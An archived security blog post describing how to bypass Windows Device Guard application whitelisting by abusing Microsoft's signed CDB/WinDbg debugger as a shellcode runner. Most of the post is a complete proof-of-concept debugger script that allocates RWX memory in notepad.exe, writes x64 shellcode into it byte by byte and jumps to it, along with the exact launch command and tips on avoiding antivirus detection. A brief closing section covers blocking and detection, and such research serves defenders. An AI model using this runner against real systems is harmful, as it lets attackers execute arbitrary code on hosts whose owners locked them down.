Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner

Archived: 2026-04-06 00:12:12 UTC

Imagine you've gained access to an extremely locked down Windows 10 host running Device Guard. The Device Guard policy is such that all PEs (exe, dll, sys, etc.) must be signed by Microsoft. No other signed code is authorized. Additionally, a side effect of Device Guard being enabled is that PowerShell will be locked down in constrained language mode so arbitrary code execution is ruled out in the context of PowerShell (unless you have a bypass for that, of course). You have a shellcode payload you'd like to execute. What options do you have?

You're an admin. You can just disable Device Guard, right? Nope. The Device Guard policy is signed and you don't have access to the code signing cert to sign and plant a more permissive policy. To those who want to challenge this claim, please go forth and do some Device Guard research and find a bypass. For us mere mortals though, how can we execute our shellcode considering we can't just disable Device Guard?

The obvious solution dawned on me recently: I simply asked myself, "what is a tool that's signed by Microsoft that will execute code, preferably in memory?" WinDbg/CDB of course! I had used WinDbg a million times to execute shellcode for dynamic malware analysis but I never considered using it as a generic code execution method for malware in a signed process. Now, in order to execute a shellcode buffer, there are generally three requirements to get it to execute in any process:

1)

You need to be able to allocate at least RX memory for it. In reality, you'll need RWX memory though if the shellcode is self-modifying – i.e. any encoded Metasploit shellcode.

2)

You need a mechanism to copy the shellcode buffer to the allocated memory.

3)

You need a way to direct the flow of execution of a thread to the shellcode buffer.

Fortunately, WinDbg and CDB have commands to achieve all of this.

1)

.dvalloc [Size of shellcode]

Allocates a page-aligned RWX buffer of the size you specify.

2)

eb [Shellcode address] [Shellcode byte]

Writes a byte to the address specified.

3)

r @$ip=[Shellcode address]

Points the instruction pointer to the address specified. Note: $ip is a generic, pseudo register that refers to EIP, RIP, or PC depending upon the architecture (x86, amd64, and ARM, respectively).

With those fundamental components, we have pretty much everything we need to implement a WinDbg or CDB shellcode runner. The following proof-of-concept example will launch 64-bit shellcode (pops calc) in notepad.exe. To get this running, just save the text to a file (I named it x64_calc.wds) and launch it with the following command: cdb.exe -cf x64_calc.wds -o notepad.exe

```
$$ Save this to a file - e.g. x64_calc.wds

$$ Example: launch this shellcode in a host notepad.exe process.

$$ cdb.exe -cf x64_calc.wds -o notepad.exe

$$ Allocate 272 bytes for the shellcode buffer

$$ Save the address of the resulting RWX in the pseudo $t0 register

.foreach /pS 5  ( register { .dvalloc 272 } ) { r @$t0 = register }

$$ Copy each individual shellcode byte to the allocated RWX buffer

$$ Note: The `eq` command could be used to save space, if desired.

$$ Note: .readmem can be used to read a shellcode buffer too but

$$   shellcode on disk will be subject to AV scanning.

;eb @$t0+00 FC;eb @$t0+01 48;eb @$t0+02 83;eb @$t0+03 E4

;eb @$t0+04 F0;eb @$t0+05 E8;eb @$t0+06 C0;eb @$t0+07 00

;eb @$t0+08 00;eb @$t0+09 00;eb @$t0+0A 41;eb @$t0+0B 51

;eb @$t0+0C 41;eb @$t0+0D 50;eb @$t0+0E 52;eb @$t0+0F 51

;eb @$t0+10 56;eb @$t0+11 48;eb @$t0+12 31;eb @$t0+13 D2

;eb @$t0+14 65;eb @$t0+15 48;eb @$t0+16 8B;eb @$t0+17 52

;eb @$t0+18 60;eb @$t0+19 48;eb @$t0+1A 8B;eb @$t0+1B 52

;eb @$t0+1C 18;eb @$t0+1D 48;eb @$t0+1E 8B;eb @$t0+1F 52
```

```
;eb @$t0+20 20;eb @$t0+21 48;eb @$t0+22 8B;eb @$t0+23 72
;eb @$t0+24 50;eb @$t0+25 48;eb @$t0+26 0F;eb @$t0+27 B7
;eb @$t0+28 4A;eb @$t0+29 4A;eb @$t0+2A 4D;eb @$t0+2B 31
;eb @$t0+2C C9;eb @$t0+2D 48;eb @$t0+2E 31;eb @$t0+2F C0
;eb @$t0+30 AC;eb @$t0+31 3C;eb @$t0+32 61;eb @$t0+33 7C
;eb @$t0+34 02;eb @$t0+35 2C;eb @$t0+36 20;eb @$t0+37 41
;eb @$t0+38 C1;eb @$t0+39 C9;eb @$t0+3A 0D;eb @$t0+3B 41
;eb @$t0+3C 01;eb @$t0+3D C1;eb @$t0+3E E2;eb @$t0+3F ED
;eb @$t0+40 52;eb @$t0+41 41;eb @$t0+42 51;eb @$t0+43 48
;eb @$t0+44 8B;eb @$t0+45 52;eb @$t0+46 20;eb @$t0+47 8B
;eb @$t0+48 42;eb @$t0+49 3C;eb @$t0+4A 48;eb @$t0+4B 01
;eb @$t0+4C D0;eb @$t0+4D 8B;eb @$t0+4E 80;eb @$t0+4F 88
;eb @$t0+50 00;eb @$t0+51 00;eb @$t0+52 00;eb @$t0+53 48
;eb @$t0+54 85;eb @$t0+55 C0;eb @$t0+56 74;eb @$t0+57 67
;eb @$t0+58 48;eb @$t0+59 01;eb @$t0+5A D0;eb @$t0+5B 50
;eb @$t0+5C 8B;eb @$t0+5D 48;eb @$t0+5E 18;eb @$t0+5F 44
;eb @$t0+60 8B;eb @$t0+61 40;eb @$t0+62 20;eb @$t0+63 49
;eb @$t0+64 01;eb @$t0+65 D0;eb @$t0+66 E3;eb @$t0+67 56
;eb @$t0+68 48;eb @$t0+69 FF;eb @$t0+6A C9;eb @$t0+6B 41
;eb @$t0+6C 8B;eb @$t0+6D 34;eb @$t0+6E 88;eb @$t0+6F 48
;eb @$t0+70 01;eb @$t0+71 D6;eb @$t0+72 4D;eb @$t0+73 31
;eb @$t0+74 C9;eb @$t0+75 48;eb @$t0+76 31;eb @$t0+77 C0
;eb @$t0+78 AC;eb @$t0+79 41;eb @$t0+7A C1;eb @$t0+7B C9
;eb @$t0+7C 0D;eb @$t0+7D 41;eb @$t0+7E 01;eb @$t0+7F C1
;eb @$t0+80 38;eb @$t0+81 E0;eb @$t0+82 75;eb @$t0+83 F1
;eb @$t0+84 4C;eb @$t0+85 03;eb @$t0+86 4C;eb @$t0+87 24
```

;eb @$t0+88 08;eb @$t0+89 45;eb @$t0+8A 39;eb @$t0+8B D1

;eb @$t0+8C 75;eb @$t0+8D D8;eb @$t0+8E 58;eb @$t0+8F 44

;eb @$t0+90 8B;eb @$t0+91 40;eb @$t0+92 24;eb @$t0+93 49

;eb @$t0+94 01;eb @$t0+95 D0;eb @$t0+96 66;eb @$t0+97 41

;eb @$t0+98 8B;eb @$t0+99 0C;eb @$t0+9A 48;eb @$t0+9B 44

;eb @$t0+9C 8B;eb @$t0+9D 40;eb @$t0+9E 1C;eb @$t0+9F 49

;eb @$t0+A0 01;eb @$t0+A1 D0;eb @$t0+A2 41;eb @$t0+A3 8B

;eb @$t0+A4 04;eb @$t0+A5 88;eb @$t0+A6 48;eb @$t0+A7 01

;eb @$t0+A8 D0;eb @$t0+A9 41;eb @$t0+AA 58;eb @$t0+AB 41

;eb @$t0+AC 58;eb @$t0+AD 5E;eb @$t0+AE 59;eb @$t0+AF 5A

;eb @$t0+B0 41;eb @$t0+B1 58;eb @$t0+B2 41;eb @$t0+B3 59

;eb @$t0+B4 41;eb @$t0+B5 5A;eb @$t0+B6 48;eb @$t0+B7 83

;eb @$t0+B8 EC;eb @$t0+B9 20;eb @$t0+BA 41;eb @$t0+BB 52

;eb @$t0+BC FF;eb @$t0+BD E0;eb @$t0+BE 58;eb @$t0+BF 41

;eb @$t0+C0 59;eb @$t0+C1 5A;eb @$t0+C2 48;eb @$t0+C3 8B

;eb @$t0+C4 12;eb @$t0+C5 E9;eb @$t0+C6 57;eb @$t0+C7 FF

;eb @$t0+C8 FF;eb @$t0+C9 FF;eb @$t0+CA 5D;eb @$t0+CB 48

;eb @$t0+CC BA;eb @$t0+CD 01;eb @$t0+CE 00;eb @$t0+CF 00

;eb @$t0+D0 00;eb @$t0+D1 00;eb @$t0+D2 00;eb @$t0+D3 00

;eb @$t0+D4 00;eb @$t0+D5 48;eb @$t0+D6 8D;eb @$t0+D7 8D

;eb @$t0+D8 01;eb @$t0+D9 01;eb @$t0+DA 00;eb @$t0+DB 00

;eb @$t0+DC 41;eb @$t0+DD BA;eb @$t0+DE 31;eb @$t0+DF 8B

;eb @$t0+E0 6F;eb @$t0+E1 87;eb @$t0+E2 FF;eb @$t0+E3 D5

;eb @$t0+E4 BB;eb @$t0+E5 E0;eb @$t0+E6 1D;eb @$t0+E7 2A

;eb @$t0+E8 0A;eb @$t0+E9 41;eb @$t0+EA BA;eb @$t0+EB A6

;eb @$t0+EC 95;eb @$t0+ED BD;eb @$t0+EE 9D;eb @$t0+EF FF

```
;eb @$t0+F0 D5;eb @$t0+F1 48;eb @$t0+F2 83;eb @$t0+F3 C4

;eb @$t0+F4 28;eb @$t0+F5 3C;eb @$t0+F6 06;eb @$t0+F7 7C

;eb @$t0+F8 0A;eb @$t0+F9 80;eb @$t0+FA FB;eb @$t0+FB E0

;eb @$t0+FC 75;eb @$t0+FD 05;eb @$t0+FE BB;eb @$t0+FF 47

;eb @$t0+100 13;eb @$t0+101 72;eb @$t0+102 6F;eb @$t0+103 6A

;eb @$t0+104 00;eb @$t0+105 59;eb @$t0+106 41;eb @$t0+107 89

;eb @$t0+108 DA;eb @$t0+109 FF;eb @$t0+10A D5;eb @$t0+10B 63

;eb @$t0+10C 61;eb @$t0+10D 6C;eb @$t0+10E 63;eb @$t0+10F 00

$$ Redirect execution to the shellcode buffer

r @$ip=@$t0

$$ Continue program execution - i.e. execute the shellcode

g

$$ Continue program execution after hitting a breakpoint

$$ upon starting calc.exe. This is specific to this shellcode.

g

$$ quit cdb.exe

q
```

I chose to use cdb.exe in the example as it is a command-line debugger whereas WinDbg is a GUI debugger. Additionally, these debuggers are portable. It imports DLLs that are all present in System32. So the only files that you would be dropping on the target system is cdb.exe and the script above - none of which should be flagged by AV. In reality, the script isn't even required on disk. You can just paste the commands in manually if you like.

Now, you may be starting to ask yourself, "how could I go about blocking windbg.exe, cdb.exe, kd.exe etc.?" You might block the hashes from executing with AppLocker. Great, but then someone will just run an older version of any of those programs and it won't block future versions either. You could block anything named cdb.exe, windbg.exe, etc. from running. Okay, then the attacker will just rename it to foo.exe. You could blacklist the certificate used to sign cdb.exe, windbg.exe, etc. Then you might be blocking other legitimate Microsoft applications signed with the same certificate. On Windows RT, this attack was somewhat mitigated by the fact that user-mode code integrity (UMCI) prevented a user from attaching a debugger invasively – what I did in this example. The ability to enforce this with Device Guard, however, does not present itself as a configuration feature. At the time of this writing, I don't have any realistic preventative defenses but I will certainly be looking into

them as I dig into Device Guard more. As far as detection is concerned, there ought to be plenty of creative ways to detect this including something as simple as command-line auditing.

Anyway, while this may not be the sexiest of ways to execute shellcode, I'd like to think it's a decent, generic application whitelisting bypass that will be difficult in practice to prevent. Enjoy!
